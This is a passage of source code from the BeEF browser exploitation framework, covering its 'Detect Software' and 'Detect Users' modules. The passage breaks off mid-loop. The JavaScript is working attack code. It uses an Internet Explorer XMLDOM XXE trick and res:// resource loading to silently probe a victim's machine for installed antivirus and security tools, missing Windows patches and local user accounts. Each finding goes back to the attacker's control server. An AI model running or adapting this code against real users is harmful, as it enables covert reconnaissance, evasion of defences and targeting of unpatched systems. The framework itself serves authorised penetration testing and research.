'360\\360Safe'], ['360Safe', '360Safe'], ['A-Squared Anti-Malware', 'A-Squared Anti-Malware'], ['Agnitum Outpost Security Suite Pro', 'Agnitum\\Outpost Security Suite Pro'], ['AhnLab', 'AhnLab'], ['ESET Smart Security', 'ESET\\ESET Smart Security'], ['ESTsoft ALYac Internet Security', 'ESTsoft\\ALYac'], ['AhnLab', 'AhnLab\\Smart Update Utility'], ['AhnLab V3 Internet Security Lite', 'AhnLab\\V3Lite'], ['Avast AntiVirus 4', 'Alwil Software\\Avast4'], ['Avast AntiVirus', 'AVAST Software\\Avast'], ['AVG 2012', 'AVG\\AVG2012'], ['AVG', 'AVG Secure Search'], ['Avira AntiVir Desktop', 'Avira\\AntiVir Desktop'], ['Avira AntiVir Personal Edition', 'Avira\\AntiVir PersonalEdition Classic'], ['BitDefender', 'BitDefender'], ['DrWeb AntiVirus', 'DrWeb'], ['eScan AntiVirus', 'eScan'], ['F-Secure ExploitShield', 'F-Secure\\ExploitShield'], ['F-Secure Internet Security', 'F-Secure Internet Security\\FSPS'], ['F-PROT Antivirus', 'FRISK Software\\F-PROT Antivirus for Windows'], ['Kaspersky Internet Security 2012', 'Kaspersky Lab\\Kaspersky Internet Security 2012'], ['Kaspersky Anti-Virus 2009', 'Kaspersky Lab\\Kaspersky Anti-Virus 2009'], ['Kaspersky Anti-Virus 2010', 'Kaspersky Lab\\Kaspersky Anti-Virus 2010'], ['Kaspersky Anti-Virus 2011', 'Kaspersky Lab\\Kaspersky Anti-Virus 2011'], ['Kaspersky Anti-Virus 2012', 'Kaspersky Lab\\Kaspersky Anti-Virus 2012'], ['Kaspersky Anti-Virus 2013', 'Kaspersky Lab\\Kaspersky Anti-Virus 2013'], ['Kaspersky Anti-Virus 2014', 'Kaspersky Lab\\Kaspersky Anti-Virus 2014'], ['Kaspersky Endpoint Security 8', 'Kaspersky Lab\\Kaspersky Endpoint Security 8 for Windows'], ['Kaspersky Internet Security 2010', 'Kaspersky Lab\\Kaspersky Internet Security 2010'], ['Kaspersky Internet Security 2009', 'Kaspersky Lab\\Kaspersky Internet Security 2009'], ['Kingsoft AntiVirus', 'KingSoft\\kingsoft antivirus'], ['IKARUS anti.virus', 'IKARUS\\anti.virus'], ['Immunet AntiVirus', 'Immunet'], ['JiangMin AntiVirus', 'JiangMin\\AntiVirus'], ['Micropoint AntiVirus', 'Micropoint'], ['Microsoft EMET 4.1', 'EMET 4.1'], ['Microsoft EMET 5.0', 'EMET 5.0'], ['McAfee Total Protection 2011', 'McAfeeMOBK'], ['McAfee Enterprise', 'McAfee\\VirusScan Enterprise'], ['McAfee Security Center', 'McAfee\\MSC'], ['Norman Scan Engine', 'Norman\\Nse'], ['Norton Internet Security', 'Norton Internet Security'], ['Norton AntiVirus', 'Norton AntiVirus'], ['nProtect Anti-Virus Spyware 3.0', 'INCAInternet\\nProtect Anti-Virus Spyware 3.0'], ['PC Tools Antivirus Software', 'PC Tools Antivirus Software'], ['Quick Heal Total Security', 'Quick Heal\\Quick Heal Total Security'], ['Sucop Antivirus', 'Sucop\\SecPlugin'], ['Rising AntiVirus', 'Rising\\RAV'], ['Rising AntiVirus', 'Rising\\RIS'], ['Rising Firewall', 'Rising\\RFW'], ['Sunbelt Software Personal Firewall', 'Sunbelt Software\\Personal Firewall'], ['Sophos Sophos Anti-Virus', 'Sophos\\Sophos Anti-Virus'], ['Sophos Client Firewall', 'Sophos\\Sophos Client Firewall'], ['SUPERAntiSpyware', 'SUPERAntiSpyware'], ['Symantec Endpoint Protection', 'Symantec\\Symantec Endpoint Protection'], ['Symantec Antivirus', 'symantec_client_security\\symantec antivirus'], ['Trend Micro Internet Security', 'Trend Micro\\Internet Security'], ['Trend Micro OfficeScan Client', 'Trend Micro\\OfficeScan Client'], ['VirusBuster', 'VirusBuster'], ['Windows Defender', 'Windows Defender'], ['ZoneAlarm', 'Zone Labs\\ZoneAlarm'], // Office ['Microsoft Office', 'Microsoft Office\\OFFICE'], ['Microsoft Office 10', 'Microsoft Office\\OFFICE10'], ['Microsoft Office 11', 'Microsoft Office\\OFFICE11'], ['Microsoft Office 12', 'Microsoft Office\\OFFICE12'], ['Microsoft Office 13', 'Microsoft Office\\OFFICE13'], ['Microsoft Office 14', 'Microsoft Office\\OFFICE14'], ['WPS Office', 'Kingsoft\\Kingsoft Office'], ['WPS Office Personal', 'Kingsoft\\WPS Office Personal'], ['WPS Office 2008', 'Kingsoft\\WPS Office 2008'], ['WPS Office 2009', 'Kingsoft\\WPS Office 2009'], ['WPS Office 2010', 'Kingsoft\\WPS Office 2010'], // Security ['Cain', 'Cain'], ['Echo Mirage', 'Echo Mirage'], ['Fiddler2', 'Fiddler2'], ['L0pht Crack 5', '@stake\\LC5'], ['Immunity Debugger', 'Immunity Inc\\Immunity Debugger'], ['Network Miner v2.1', 'NetworkMiner_2-1'], ['Nmap', 'nmap'], // VPN ['Checkpoint Endpoint Connect', 'Checkpoint\\Endpoint Connect'], ['Cisco AnyConnect Secure Mobility Client', 'Cisco AnyConnect Secure Mobility Client'], ['Cisco AnyConnect VPN Client', 'Cisco AnyConnect VPN Client'], ['Fortinet FortiClient', 'Fortinet\\FortiClient'], ['OpenVPN', 'OpenVPN'] ]; if (xmldom_supported) { beef.debug('[Detect Software] Enumerating software...'); for (var i = 0; i < program_dirs.length; i++) { for (var j = 0; j < software.length; j++) { var path = drive + ":\\" + program_dirs[i] + "\\" + software[j][1]; var result = detect_folder(path); if (result) { beef.debug('[Detect Software] Found software: ' + path); beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + software[j][0]); } } } } // Enumerate patches (Win XP only) var patches = [ 'KB2570947', 'KB2584146', 'KB2585542', 'KB2592799', 'KB2598479', 'KB2603381', 'KB2619339', 'KB2620712', 'KB2631813', 'KB2653956', 'KB2655992', 'KB2659262', 'KB2661637', 'KB2676562', 'KB2686509', 'KB2691442', 'KB2698365', 'KB2705219-v2', 'KB2712808', 'KB2719985', 'KB2723135-v2', 'KB2727528', 'KB2749655', 'KB2757638', 'KB2770660', 'KB2780091', 'KB2802968', 'KB2803821-v2_WM9', 'KB2807986', 'KB2813345', 'KB2820917', 'KB2834886', 'KB2847311', 'KB2850869', 'KB2859537', 'KB2862152', 'KB2862330', 'KB2862335', 'KB2864063', 'KB2868038', 'KB2868626', 'KB2876217', 'KB2876331', 'KB2892075', 'KB2893294', 'KB2898715', 'KB2900986', 'KB2904266', 'KB2909212', 'KB2914368', 'KB2916036', 'KB2922229', 'KB2929961', 'KB2930275', 'KB2934207', 'KB2936068', 'KB2964358', 'KB898461', 'KB923561', 'KB946648', 'KB950762', 'KB950974', 'KB951376-v2', 'KB951978', 'KB952004', 'KB952069_WM9', 'KB952287', 'KB952954', 'KB953155', 'KB954155_WM9', 'KB955759', 'KB956572', 'KB956844', 'KB959426', 'KB960803', 'KB960859', 'KB961118', 'KB968389', 'KB969059', 'KB970430', 'KB970483', 'KB971029', 'KB971657', 'KB972270', 'KB973507', 'KB973540_WM9', 'KB973815', 'KB973869', 'KB973904', 'KB974112', 'KB974318', 'KB974392', 'KB974571', 'KB975025', 'KB975467', 'KB975558_WM8', 'KB975560', 'KB975713', 'KB976323', 'KB977816', 'KB977914', 'KB978338', 'KB978542', 'KB978695_WM9', 'KB978706', 'KB979309', 'KB979482', 'KB979687', 'KB981997', 'KB982132', 'KB982665' ]; if (xmldom_supported) { beef.debug("[Detect Software] Enumerating installed patches..."); for (var i = 0; i < patches.length; i++) { var path = drive + ":\\" + win_dir + "\\$NtUninstall" + patches[i] + "$"; var result = detect_folder(path); if (result) { beef.debug('[Detect Software] Found patch: ' + path); beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_patches=" + patches[i]); } } } // Skip software detection using 'res' scheme and EXE/DLL resource images // if XMLDOM XXE technique worked if (xmldom_supported) return; // Detect software using 'res' scheme and EXE/DLL resource images var dom = beef.dom.createInvisibleIframe(); // Enumerate patches (Win XP only) var patches = [ ["KB2964358", "mshtml.dll/2/2030"], // MS14-021 ["KB2936068", "mshtmled.dll/2/2503"], // MS14-018 ["KB2864063", "themeui.dll/2/120"], // MS13-071 ["KB2859537", "ntkrpamp.exe/2/1"], // MS13-063 ["KB2813345", "mstscax.dll/2/101"], // MS13-029 ["KB2820917", "winsrv.dll/#2/#512"], // MS13-033 ["KB2691442", "shell32.dll/2/130"], // MS12-048 ["KB2676562", "ntkrpamp.exe/2/1"], // MS12-034 ["KB2506212", "mfc42.dll/#2/#26567"], // MS11-024 ["KB2483185", "shell32.dll/2/130"], // MS11-006 ["KB2481109", "mstsc.exe/#2/#620"], // MS11-017 ["KB2443105", "isign32.dll/2/#101"], // MS10-097 ["KB2393802", "ntkrnlpa.exe/2/#1"], // MS11-011 ["KB2387149", "mfc40.dll/#2/#26567"], // MS10-074 ["KB2296011", "comctl32.dll/#2/#120"], // MS10-081 ["KB979687", "wordpad.exe/#2/#131"], // MS10-083 ["KB978706", "mspaint.exe/#2/#102"], // MS10-005 ["KB977914", "iyuv_32.dll/2/INDEOLOGO"], // MS10-013 ["KB973869", "dhtmled.ocx/#2/#1"] // MS09-037 ]; beef.debug("[Detect Software] Enumerating installed patches..."); for (var i=0; i<patches.length; i++) { var img = new Image; img.title = patches[i][0]; img.src = "res://" + drive + ":\\" + win_dir + "\\$NtUninstall" + patches[i][0] + "$\\" + patches[i][1]; img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_patches=" + this.title); dom.removeChild(this); } img.onerror= function() { dom.removeChild(this); } dom.appendChild(img); } // Enumerate software var software = [ ["7zip", "7-Zip\\7zFM.exe/2/2002"], ["Adobe Help", "Adobe\\Adobe Help Viewer\\1.0\\ahv.exe/#2/#132"], ["Baidu", "baidu\\Baidu Hi\\BaiduHi.exe/#2/#152"], ["Cain", "Cain\\UNWISE.EXE/2/106"], ["Echo Mirage", "Echo Mirage\\unins000.exe/2/DISKIMAGE"], ["FoxIt Reader", "Foxit Software\\Foxit Reader\\Foxit Reader.exe/2/257"], ["FoxIt Reader", "Foxit Reader\\Foxit Reader.exe/#2/#484"], ["Internet Explorer", "Internet Explorer\\iedvtool.dll/2/4000"], ["Outlook Express", "Outlook Express\\msoeres.dll/2/1"], ["KeePass Password Safe 2", "KeePass Password Safe 2\\unins000.exe/2/DISKIMAGE"], ["Nokia PC Suite", "Nokia\\Connectivity Cable Driver\\nmwcdcocls.dll/2/131"], ["Notepad Plus Plus", "Notepad++\\uninstall.exe/2/110"], ["OpenVPN", "OpenVPN\\Uninstall.exe/2/110"], ["Oracle JavaFX 2.0 Runtime", "Oracle\\JavaFX 2.0 Runtime\\bin\\eula.dll/2/204"], ["Resource Hacker", "Resource Hacker\\ResHacker.exe/2/128"], ["Samsung USB Drivers for Mobile Phones", "SAMSUNG\\USB Drivers\\Uninstall.exe/2/132"], ["Tencent QQDownload", "Tencent\\QQDownload\\QQDownload.exe/2/132"], ["QuickTime", "QuickTime\\QTinfo.exe/2/101"], ["QuickTime", "QuickTime\\quicktimeplayer.exe/#2/#403"], ["VLC", "VideoLAN\\VLC\\npvlc.dll/2/3"], ["Immunity Debugger", "Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe/2/GOTO"], ["Java JRE 6", "Java\\jre6\\bin\\awt.dll/2/CHECK_BITMAP"], ["Java JRE 7", "Java\\jre7\\bin\\awt.dll/2/CHECK_BITMAP"], ["Java JRE 8", "Java\\jre8\\bin\\awt.dll/2/CHECK_BITMAP"], ["VMware Tools", "VMware\\VMware Tools\\TPVCGatewaydeu.dll/2/30994"], ["VMware Tools", "VMware\\VMware Tools\\TPAutoConnSvc.exe/#2/30995"], ["VMware Workstation", "VMware\\VMware Workstation\\vmplayer.exe/#2/5"], ["VMware Workstation", "VMware\\VMware Workstation\\vmware.exe/#2/#508"], ["VirtualBox Guest Additions", "Oracle\\VirtualBox Guest Additions\\uninst.exe/#2/110"], ["Windows DVD Maker", "DVD Maker\\DVDMaker.exe/2/438"], ["Windows Journal", "Windows Journal\\Journal.exe/2/112"], ["Windows Mail", "Windows Mail\\msoeres.dll/2/1"], ["Windows Movie Maker", "Movie Maker\\wmm2res.dll/2/201"], ["Windows NetMeeting", "NetMeeting\\nmchat.dll/2/207"], ["Windows Photo Viewer", "Windows Photo Viewer\\PhotoViewer.dll/2/#51209"], ["WinRAR", "WinRAR\\WinRAR.exe/#2/#150"], ["Microsoft Virtual PC", "Microsoft Virtual PC\\Virtual PC.exe/#2/150"], ["Wireshark", "Wireshark\\uninstall.exe/2/110"], // AntiVirus software ["360Safe", '360\\360Safe\\360leakfixer.exe/#2/110'], ["360Safe", '360\\360Safe\\repairleakdll.dll/GIF/154'], ["360Safe", '360Safe\\live.dll/#2/#203'], ["360Safe", '360\\360safe\\360Safe.exe/2/131'], ["ESTsoft ALYac Internet Security", 'ESTsoft\\ALYac\\AYUpdate.aye/2/30994'], ["AhnLab", 'AhnLab\\Smart Update Utility\\SUpdate.exe/2/153'], ["AhnLab V3 Internet Security Lite", 'AhnLab\\V3Lite\\V3LTray.exe/2/132'], ["Avast AntiVirus 4", 'Alwil Software\\Avast4\\ashAvast.exe/2/267'], ["Avast AntiVirus", 'AVAST Software\\Avast\\aswAra.dll/#2/101'], ["AVG 2012", 'AVG\\AVG2012\\avguires.dll/#2/111'], ["Avira AntiVir Desktop", 'Avira\\AntiVir Desktop\\ccquarc.dll/#2/101'], ["Avira AntiVir Desktop", 'Avira\\AntiVir Desktop\\setup.dll/#2/132'], ["Avira AntiVir Personal Edition", 'Avira\\AntiVir PersonalEdition Classic\\setup.dll/#2/#132'], ["DrWeb AntiVirus", 'DrWeb\\spideragent.exe/#2/133'], ["Kaspersky Internet Security 2012", 'Kaspersky Lab\\Kaspersky Internet Security 2012\\basegui.ppl/#2'], ["Kaspersky Anti-Virus 2009", 'Kaspersky Lab\\Kaspersky Anti-Virus 2009\\oeas.dll/2/206'], ["Kaspersky Anti-Virus 2010", 'Kaspersky Lab\\Kaspersky Anti-Virus 2010\\shellex.dll/2/103'], ["Kaspersky Internet Security 2010", 'Kaspersky Lab\\Kaspersky Internet Security 2010\\shellex.dll/2/103'], ["Kaspersky Internet Security 2009", 'Kaspersky Lab\\Kaspersky Internet Security 2009\\oeas.dll/2/206'], ["Kingsoft AntiVirus", 'KingSoft\\kingsoft antivirus\\kislive.exe/#2/102'], ["Rising AntiVirus", 'Rising\\RAV\\RavUsb.exe/#2/112'], ["Rising AntiVirus", 'Rising\\Ris\\SetUp.exe/2/147'], ["ESET Smart Security", 'ESET\\ESET Smart Security\\eguiEpfw.dll/#2/1070'], ["JiangMin AntiVirus", 'JiangMin\\AntiVirus\\VirusBox.exe/#2/128'], ["JiangMin AntiVirus", 'JiangMin\\Install\\KVOL.exe/2/202'], ["Micropoint AntiVirus", 'Micropoint\\mfc90.dll/#2/30994'], ["McAfee Total Protection 2011", 'McAfeeMOBK\\BootStrap.exe/#2/30994'], ["McAfee Enterprise", 'McAfee\\VirusScan Enterprise\\graphics.dll/2/202'], ["McAfee Security Center", 'McAfee\\MSC\\mclgview.exe/2/129'], ["Norton Internet Security 16.0.0.125", 'Norton Internet Security\\Engine\\16.0.0.125\\SymSHAx9.dll/2/102'], ["Norton Internet Security 16.5.0.135", 'Norton Internet Security\\Engine\\16.5.0.135\\SymSHAx9.dll/2/102'], ["Norton AntiVirus 17.5.0.127", 'Norton AntiVirus\\MUI\\17.5.0.127\\images\\cssbase.dll/2/SCANTASKWZ_SCAN_ITEM_LIST.BMP'], ["NOD32 Smart Security", 'ESET\\ESET Smart Security\\eguiEpfw.dll/2/1070'], ["Trend Micro Internet Security", 'Trend Micro\\Internet Security\\UfSeAgnt.exe/2/30994'], ["Trend Micro OfficeScan Client", 'Trend Micro\\OfficeScan Client\\PcNTMon.exe/2/30994'], ["Sucop Antivirus", 'Sucop\\SecPlugin\\SecPlugin.dll/#2/211'], ["Sophos Client Firewall", 'Sophos\\Sophos Client Firewall\\logo_rc.dll/2/114'], ["Symantec Endpoint Protection", 'Symantec\\LiveUpdate\\AUPDATE.exe/2/129'], ["ZoneAlarm", 'Zone Labs\\ZoneAlarm\\alert.zap/2/176'], // The following signatures were taken from: // https://www.alienvault.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi ["Microsoft Office 97", "Microsoft Office\\OFFICE\\BINDER.EXE/16/1"], ["Microsoft Office 2000", "Microsoft Office\\OFFICE\\WINWORD.EXE/16/1"], ["Microsoft Office XP", "Microsoft Office\\OFFICE10\\WINWORD.EXE/16/1"], ["Microsoft Office 2003", "Microsoft Office\\OFFICE11\\WINWORD.EXE/16/1"], ["Microsoft Office 2007", "Microsoft Office\\OFFICE12\\WINWORD.EXE/16/1"], ["Microsoft Office 2010", "Microsoft Office\\OFFICE14\\WINWORD.EXE/16/1"], ["WPS Office Personal", "Kingsoft\\WPS Office Personal\\utility\\repairinst.exe/16/1"], ["WPS Office 2008", "Kingsoft\\WPS Office 2008\\utility\\repairinst.exe/16/1"], ["WPS Office 2009", "Kingsoft\\WPS Office 2009\\utility\\repairinst.exe/16/1"], ["WPS Office 2010", "Kingsoft\\WPS Office 2010\\utility\\repairinst.exe/16/1"], ["WinRar 3.5", "WinRAR\\WinRar.exe/6/90"], ["WinRar 3.6", "WinRAR\\WinRar.exe/6/91"], ["WinRar 3.7", "WinRAR\\WinRar.exe/6/92"], ["WinRar 3.8", "WinRAR\\WinRar.exe/6/93"], ["WinRar 3.9", "WinRAR\\RarExt.d11/24/2"], ["WinZip", "WinZip\\WinZip32.exe/16/1"], ["7zip", "7—Zip\\7zFm.exe/16/1"], ["Adobe Reader 7", "Adobe\\Reader 7.0\\Reader\\AXEParser.d11/16/1"], ["Adobe Professional 7", "Adobe\\Acrobat 7.0\\Acrobat\\Acrobat.dll/16/1"], ["Adobe Reader 8", "Adobe\\Reader 8.0\\Reader\\AdobeXMP.d11/16/1"], ["Adobe Reader 9", "Adobe\\Reader 9.0\\Reader\\AcroRd32.exe/16/1"], ["Adobe Reader 10", "Adobe\\Reader 10.0\\Reader\\AcroRd32.exe/16/1"], ["Skype", "Skype\\Phone\\Skype.exe/16/1"], ["Skype", "Skype\\Phone\\sktransfer.d11/16/1"], ["Microsoft Outlook 6", "Outlook Express\\msimn.exe/16/1"], ["Microsoft Outlook 2000", "Microsoft Office\\OFFICE\\OUTLOOK.EXE/16/1"], ["Microsoft Outlook XP", "Microsoft Office\\OFFICE10\\OUTLOOK.EXE/16/1"], ["Microsoft Outlook 2003", "Microsoft Office\\OFFICE11\\OUTLOOK.EXE/16/1"], ["Microsoft Outlook 2007", "Microsoft Office\\OFFICE12\\OUTLOOK.EXE/16/1"], ["Microsoft Outlook 2010", "Microsoft Office\\OFFICE14\\OUTLOOK.EXE/16/1"], ["Yahoo Messenger", "Yahoo!\\Messenger\\YahooMessenger.exe/16/1"], ["Yahoo Messenger 5", "Yahoo!\\Messenger\\YPager.exe/16/1"], ["Yahoo Messenger 6", "Yahoo!\\Messenger\\asw.d11/16/1"], ["Yahoo Messenger 7", "Yahoo!\\Messenger\\yxtldr.d11/16/1"], ["Yahoo Messenger 8", "Yahoo!\\Messenger\\P2PCE.d11/16/1"], ["Yahoo Messenger 9", "Yahoo!\\Messenger\\GIPSVoiceEngineDLL_MD.d11/16/1"], ["Yahoo Messenger 10", "Yahoo!\\Messenger\\ConnectionWizard.d11/16/1"], ["Flashget", "FlashGet\\flashget.exe/16/1"], ["Flashget", "FlashGet Network\\FlashGet 3\\Flashget3.exe/16/1"], ["Thunder", "Thunder Network\\Thunder\\Thunder.exe/16/1"], ["Thunder", "Thunder Network\\Thunder\\Program\\Thunder.exe/16/1"], ["Thunder", "Thunder Network\\Thunder6\\Thunder.exe/16/1"], ["eMule", "eMule\\emule.exe/16/1"], ["eMule", "easyMule2\\easyMule.exe/16/1"], ["BT", "BitComet\\BitComet.exe/16/1"], ["QDownload", "Tencent\\QQDownload\\QQDownload.exe/16/1"], ["BitSpirit", "BitSpirit\\BitSpirit.exe/16/1"], ["Serv—U", "RhinoSoft.com\\Serv—U\\Serv—U.exe/16/1"], ["radmin", "Radmin\\radmin.exe/16/1"], // The following signatures were taken from AttackAPI // https://code.google.com/p/attackapi/source/browse/tags/attackapi-2.5.0b/lib/dom/signatures.js ['L0pht Crack 5', '@stake\\LC5\\lc5.exe/#2/#102'], ['Adobe Acrobat 7', 'adobe\\acrobat 7.0\\acrobat\\acrobat.dll/#2/#210'], ['Ahead Nero', 'ahead\\nero\\nero.exe/#2/NEROSESPLASH'], ['Azureus', 'azureus\\uninstall.exe/#2/#110'], ['Cain', 'cain\\uninstal.exe/#2/#106'], ['Citrix', 'Citrix\\icaweb32\\mfc30.dll/#2/#30989'], ['PGP Desktop', 'PGP Corporation\\PGP Desktop\\PGPdesk.exe/#2/#600'], ['Google Toolbar', 'Google\\googleToolbar1.dll/#2/#120'], ['Flash MX 2004', 'Macromedia\\Flash MX 2004\\flash.exe/#2/#4395'], ['MSN Messenger', 'Messenger\\msmsgs.exe/#2/#607'], ['Microsoft Live Meeting 7', 'Microsoft Office\\live meeting 7\\console\\7.5.2302.14\\pwresources_zh_tt.dll/#2/#9006'], ['Microsoft Excel 2003', 'Microsoft Office\\Office11\\excel.exe/#34/#904'], ['Microsoft Office 2003', 'Microsoft Office\\Office11\\1033\\MSOhelp.exe/#2/201'], ['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8\\common7\\ide\\devenv.exe/#2/#6606'], ['Microsoft Movie Maker', 'Movie Maker\\moviemk.exe/RT_JPG/sample1'], ['Picasa2', 'picasa2\\picasa2.exe/#2/#138'], ['Quicktime', 'quicktime\\quicktimeplayer.exe/#2/#403'], ['Real VNC4', 'RealVNC\\VNC4\\vncviewer.exe/#2/#120'], ['OLE View', 'Resource Kit\\oleview.exe/#2/#2'], ['Secure CRT', 'SecureCRT\\SecureCRT.exe/#2/#224'], ['Symantec Antivirus', 'symantec_client_security\\symantec antivirus\\vpc32.exe/#2/#157'], ['Ultramon', 'ultramon\\ultramondesktop.exe/#2/#108'], ['VMware Workstation', 'vmware\\vmware workstation\\vmware.exe/#2/#508'], ['Winamp', 'winamp\\winamp.exe/#2/#109'], ['Windows Media Player', 'Windows Media Player\\wmsetsdk.exe/#2/#249'] ]; beef.debug("[Detect Software] Enumerating installed software..."); for (var dir=0;dir<program_dirs.length; dir++) { for (var i=0; i<software.length; i++) { var img = new Image; img.title = software[i][0]; img.src = "res://" + drive + ":\\" + program_dirs[dir] + "\\" + software[i][1]; img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + this.title); dom.removeChild(this); } img.onerror= function() { dom.removeChild(this); } dom.appendChild(img); } } // Enumerate Java JDK installs beef.debug("[Detect Software] Enumerating JDK installs..."); var java_versions = ['1.8.0', '1.7.0', '1.6.0']; for (var dir=0;dir<program_dirs.length; dir++) { for (var v=0; v<java_versions.length; v++) { for (var patch_level=0; patch_level<100; patch_level++) { var pad = ''; if (patch_level < 10) pad = '0'; var img = new Image; img.title = "Java JDK" + java_versions[v] + "_" + pad + patch_level; img.src = "res://" + drive + ":\\" + program_dirs[dir] + "\\Java\\jdk" + java_versions[v] + "_" + pad + patch_level + "\\jre\\bin\\awt.dll/2/CHECK_BITMAP"; img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + this.title); dom.removeChild(this); } img.onerror= function() { dom.removeChild(this); } dom.appendChild(img); } } } // Enumerate Silverlight installs beef.debug("[Detect Software] Enumerating Silverlight installs..."); var silverlight_versions = [ '5.1.50901.0', '5.1.50709.0', '5.1.50428.0', '5.1.41212.0', '5.1.41105.0', '5.1.40728.0', '5.1.40416.0', '5.1.31211.0', '5.1.30514.0', '5.1.30214.0', '5.1.20913.0', '5.1.20513.0', '5.1.20125.0', '5.1.10411.0', '5.0.61118.0', '5.0.60818.0', '5.0.60401.0', '4.1.10329.0', '4.1.10111.0', '4.0.60831.0', '4.0.60531.0', '4.0.60310.0', '4.0.60129.0', '4.0.51204.0', '4.0.50917.0', '4.0.50826.0', '4.0.50524.00', '4.0.50401.00', '3.0.50611.0', '3.0.50106.00', '3.0.40818.00', '3.0.40723.00', '3.0.40624.00', '2.0.40115.00', '2.0.31005.00', '1.0.30715.00', '1.0.30401.00', '1.0.30109.00', '1.0.21115.00', '1.0.20816.00' ]; for (var dir=0;dir<program_dirs.length; dir++) { for (var i=0; i<silverlight_versions.length; i++) { var img = new Image; img.title = silverlight_versions[i]; img.src = "res://" + drive + ":\\" + program_dirs[dir] + "\\Microsoft Silverlight\\" + silverlight_versions[i] + "\\npctrl.dll/2/102"; img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=Microsoft Silverlight v" + this.title); dom.removeChild(this); } img.onerror= function() { dom.removeChild(this); } dom.appendChild(img); } } });
YAML
beef/modules/host/detect_software/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_software: enable: true category: "Host" name: "Detect Software" description: "This module attempts to detect software installed on the host by using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl).<br/><br/>If the XMLDOM XXE technique fails, the module falls back to using the 'res' protocol handler to load known resource images from EXE/DLL files.<br/><br/>It also attempts to enumerate installed patches if service pack uninstall files are present on the host (WinXP only)." authors: ["bcoles"] target: working: ["IE"] not_working: ["ALL"]
Ruby
beef/modules/host/detect_software/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_software < BeEF::Core::Command def post_execute content = {} content['installed_software'] = @datastore['installed_software'] unless @datastore['installed_software'].nil? content['installed_patches'] = @datastore['installed_patches'] unless @datastore['installed_patches'].nil? save content end end
JavaScript
beef/modules/host/detect_users/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); return false; } function detect_folder(path) { var dtd = 'res://' + path; var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">'; var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async = true; try { xmlDoc.loadXML(xml); return false; } catch (e) { return true; } } // Detect home directory beef.debug('[Detect Users] Checking for home directory'); var home_dirs = ["C:\\Documents and Settings\\", "C:\\Users\\"]; var default_users = ['Default', 'Default User', 'All Users']; var home_dir = ''; for (var i = 0; i < home_dirs.length; i++) { for (var j = 0; j < default_users.length; j++) { var result = detect_folder(home_dirs[i] + default_users[j]); if (result) { beef.debug('[Detect Users] Found home directory: ' + home_dirs[i]); home_dir = home_dirs[i]; break; } } } if (home_dir == '') { beef.debug('[Detect Users] Could not find home directory'); beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error()); return false; } // Enumerate common usernames var users = [ // Localised administrator accounts 'Administrator', 'Järjestelmänvalvoja', 'Administrateur', 'Rendszergazda', 'Administrador', 'Администратор', 'Administrador', 'Administratör', // Common administrator accounts 'adm', 'admin', 'localadmin', 'root', // Common usernames '1234', '12345', '123456', 'helpdesk', 'support', 'user', 'guest', 'public', 'demo', 'test', 'temp', 'www', 'svc']; for (var i = 0; i < users.length; i++) { var user = users[i]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } // Common first name / last name combinations // Source: https://techcrunch.com/2009/06/23/ever-wondered-what-the-most-common-names-on-facebook-are-heres-a-list/ var first_names = ['John', 'David', 'Michael', 'Chris', 'Mike', 'Mark', 'Paul', 'Daniel', 'James', 'Maria']; var last_names = ['Smith', 'Jones', 'Johnson', 'Lee', 'Brown', 'Williams', 'Rodriguez', 'Garcia', 'Gonzalez', 'Lopez']; // All first names // Format: <FIRST> for (var i = 0; i < first_names.length; i++) { var user = first_names[i]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } // All first names with all last names // Format: <FIRST><LAST> for (var i = 0; i < first_names.length; i++) { for (var j = 0; j < first_names.length; j++) { var user = first_names[i] + last_names[j]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } // All first names with all last names, joined by '.' // Format: <FIRST>.<LAST> for (var i = 0; i < first_names.length; i++) { for (var j = 0; j < first_names.length; j++) { var user = first_names[i] + '.' + last_names[j]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); } } } // First initial + last name // Format: <A-Z><LAST> for (var i = 0; i < last_names.length; i++) { for (var j = 65; j <= 90; j++) { var user = String.fromCharCode(j) + last_names[i]; beef.debug('[Detect Users] Checking for user: ' + user); var result = detect_folder(home_dir + user); if 